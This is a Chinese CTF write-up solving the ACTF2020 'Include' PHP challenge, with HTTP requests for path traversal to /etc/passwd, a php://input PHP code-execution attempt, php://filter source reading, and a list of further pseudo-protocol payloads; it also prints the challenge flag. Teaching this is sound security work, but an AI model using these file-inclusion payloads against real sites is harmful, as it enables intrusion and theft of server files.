[ACTF2020 新生赛]Include 思路及解法

大家好,你们可以叫我凌,是个16岁的网络安全者。

今天,我们来完成的是 ACTF2020 新生赛Include ,那废话不多说我们直接开始吧!


解题思路

先启动靶场。

进入靶场界面,发现有个链接。我们依旧不着急点击,先查看源代码。

html 复制代码
<meta charset="utf8">
<a href="?file=flag.php">tips</a>

界面代码只有个有价值的 <a> 标签,于是我点击 F12 的网络界面看看有没有什么线索。可是事实上并没有任何东西,那我们就先尝试点进该超链接查看是否有线索。

html 复制代码
<meta charset="utf8">
Can you find out the flag?

观察 URL,其中有 "flie=flag.php",那我们就尝试对它进行文件包含漏洞测试。如果都没有效果就上扫描器再看看。

我们使用 Burp 进行截包,随后发送到重发模块。

我们发送以下数据包,看看是否返回了 /etc/passwd 文件的内容。

bash 复制代码
GET /?file=../../../../etc/passwd HTTP/2
Host: 17468719b29a48dbc54973b5.http-ctf2.dasctf.com

成功返回了 /etc/passwd 文件的内容,那就证明该题目存在文件包含漏洞。

那我们继续构造数据包:

bash 复制代码
POST /?file=php://input HTTP/2
Host: 17468719b29a48dbc54973b5.http-ctf2.dasctf.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 24

<?php system('ls'); ?>

发现被拦截了!随后经过测试,发现是对伪协议 input 进行了拦截,如图所示:

bash 复制代码
POST /?file=php:// HTTP/2
Host: 17468719b29a48dbc54973b5.http-ctf2.dasctf.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 24

<?php system('ls'); ?>

那我们尝试更换协议,用 filter 伪协议尝试突围。

bash 复制代码
POST /?file=php://filter/read=convert.base64-encode/resource=php.php HTTP/2
Host: 17468719b29a48dbc54973b5.http-ctf2.dasctf.com

发现成功返回 base64编码 内容,那我们直接进行解码看看有没有线索。

解码得到了以下内容:

php 复制代码
<?php
echo "Can you find out the flag?";
//CTF2{748f5233-5cfc-469a-8d01-e90d0cf1cf98}

这样子,flag 就成功出来了!

靶场小结

考点标签

文件包含、PHP伪协议、源码读取

核心教训

  1. 看到 "?file=" 参数,第一反应就是文件包含:这是 CTF 和实战中最常见的文件包含入口。先用 "../../../../etc/passwd" 测试,确认漏洞存在。

  2. 伪协议是文件包含的核心武器:PHP 提供了多种伪协议,各有用途:

- php://filter: 读取文件源码(不会被执行),最常用的是 "convert.base64-encode" 编码后输出,避免被浏览器解析。

- php://input: 将 POST 请求体中的内容当作 PHP 代码执行,是文件包含漏洞直接 RCE 的首选。

**- data://:**在 URL 传入 PHP 代码执行,格式为 "data://text/plain,<?php system('ls');?>"

**- expect://:**直接执行系统命令(需要 PECL 扩展,较少见)。

  1. php://input 被拦截时的应对:这道题的 input 伪协议被 WAF 或配置禁用了,但 filter 仍然可用。当一个伪协议被拦时,换另一个试试------文件包含利用的常规思路。

  2. filter 读源码的标准操作:"php://filter/read=convert.base64-encode/resource=flag.php" 会读取 flag.php 的源码并以 Base64 编码输出。拿到 Base64 字符串后解码,Flag 就藏在注释或变量里。

解题关键步骤

  1. 发现入口:页面上有 flag.php 超链接,点击后 URL 变成 ?file=flag.php,确认文件包含参数。

  2. 确认漏洞:用 "?file=../../../../etc/passwd" 测试,成功读取系统文件,确认存在本地文件包含漏洞。

  3. 尝试 RCE:用 php://input 配合 POST 体 <?php system('ls');?> 尝试命令执行,发现被拦截。

  4. 换伪协议读源码:改用 "php://filter/read=convert.base64-encode/resource=flag.php",成功读取 flag.php 源码。

  5. 解码拿 Flag:Base64 解码后,Flag 在注释中。

相关推荐
foundbug9991 小时前
Polar Code 编解码 MATLAB 实现
开发语言·算法·matlab
李小小钦1 小时前
D. Storming Arasaka(Codeforces 2238)
c语言·开发语言·数据结构·c++·算法
先吃饱再说1 小时前
一篇吃透树的遍历:递归与迭代的完整拆解
数据结构·算法
量子罐头2 小时前
光润通发布LYSH-LAN-V1.0家庭版智能安全路由器 主打国密级硬件加密
网络·安全·智能路由器
Yofune安全研究2 小时前
《邮件钓鱼攻防工程》Part 1:从 GoPhish 的天花板谈起
安全
你觉得脆皮鸡好吃吗2 小时前
OAuth学习 下
网络·安全·web安全·网络安全学习
Robot_Nav2 小时前
贪心算法、动态规划与 MPPI 算法结构相关力扣题目汇总
算法·贪心算法·动态规划
NOVAnet20232 小时前
SaaS 化 MDR 安全运营平台技术架构解析:态势感知、关联研判与自动化响应实践
安全·架构·自动化
飞斯柯罗2 小时前
[飞斯柯罗] 想了解什么是网络安全资产和 KMS?
网络·安全·web安全